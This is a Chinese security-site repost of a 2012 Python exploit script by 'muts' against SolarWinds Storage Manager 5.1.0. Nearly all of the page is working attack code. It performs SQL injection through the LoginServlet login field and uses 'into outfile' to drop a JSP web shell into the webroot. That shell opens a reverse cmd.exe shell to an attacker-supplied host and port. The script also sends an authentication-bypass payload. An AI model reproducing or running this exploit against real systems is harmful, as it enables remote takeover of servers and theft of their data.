首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit
来源:www.offensive-security.com 作者:muts 发布时间:2012-05-02  

#!/usr/bin/python
######################################################################################
# Exploit Title: Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit
# Date: May 2nd 2012
# Author: muts
# Version: SolarWinds Storage Manager 5.1.0
# Tested on: Windows 2003
# Archive Url : http://www.offensive-security.com/0day/solarshell.txt
######################################################################################
# Discovered by Digital Defence - DDIVRT-2011-39
######################################################################################


import urllib, urllib2, cookielib
import sys
import random

print "\n[*] Solarwinds Storage Manager 5.1.0 Remote SYSTEM SQL Injection Exploit"
print "[*] Vulnerability discovered by Digital Defence - DDIVRT-2011-39"

print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 4):
 print "[*] Usage: solarshell.py <RHOST> <LHOST> <LPORT>"
 exit(0)

rhost = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]

filename = ''
for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',6):
 filename+=i
filename +=".jsp"

output_path= "c:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/%s" %filename

jsp = '''<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
 class StreamConnector extends Thread
 {
  InputStream is;
  OutputStream os;

  StreamConnector( InputStream is, OutputStream os )
  {
  this.is = is;
  this.os = os;
  }

  public void run()
  {
  BufferedReader in  = null;
  BufferedWriter out = null;
try
{
 in  = new BufferedReader( new InputStreamReader( this.is ) );
 out = new BufferedWriter( new OutputStreamWriter( this.os ) );
 char buffer[] = new char[8192];
 int length;
 while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
 {
  out.write( buffer, 0, length );
  out.flush();
 }
} catch( Exception e ){}
try
{
 if( in != null )
  in.close();
 if( out != null )
  out.close();
} catch( Exception e ){}
  }
 }

 try
 {
  Socket socket = new Socket( "''' + lhost +'''", '''+lport+''');
  Process process = Runtime.getRuntime().exec( "cmd.exe" );
  ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
  ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
 } catch( Exception e ) {}
%>'''

jsp = jsp.replace("\n","")
jsp = jsp.replace("\t","")

prepayload = "AAA' "
prepayload += 'union select 0x%s,2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile "%s"' % (jsp.encode('hex'),output_path)
prepayload += "#"
postpayload = "1' or 1=1#--"
loginstate='checkLogin'
password = 'OHAI'

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
post_params = urllib.urlencode({'loginState' : loginstate, 'loginName' : prepayload,'password' : password})
print "[*] Sending evil payload"
resp = opener.open("http://%s:9000/LoginServlet" %rhost, post_params)
print "[*] Triggering shell"
post_params = urllib.urlencode({'loginState' : loginstate, 'loginName' : postpayload,'password' : password})
resp = opener.open("http://%s:9000/LoginServlet" % rhost, post_params)
resp = opener.open("http://%s:9000/%s"  % (rhost,filename))
print "[*] Check your shell on %s %s\n" % (lhost,lport)

# 01010011 01101100 01100101 01100101 01110000 01101001 01110011 01101111
# 01110110 01100101 01110010 01110010 01100001 01110100 01100101 01100100


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mikrotik Router Denial of Serv
·LAN Messenger <= v1.2.28 Denia
·Format Factory v2.95 - Buffer
·McAfee Virtual Technician MVTC
·Microsoft Windows xp Win32k.sy
·SAMSUNG NET-i Viewer 1.37 SEH
·OpenConf <= 4.11 (author/edit.
·McAfee Virtual Technician 6.3.
·Symantec pcAnywhere Insecure F
·Remote-Anything Player 5.60.15
·VLC MMS Stream Handling Buffer
·WebCalendar 1.2.4 Pre-Auth Rem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved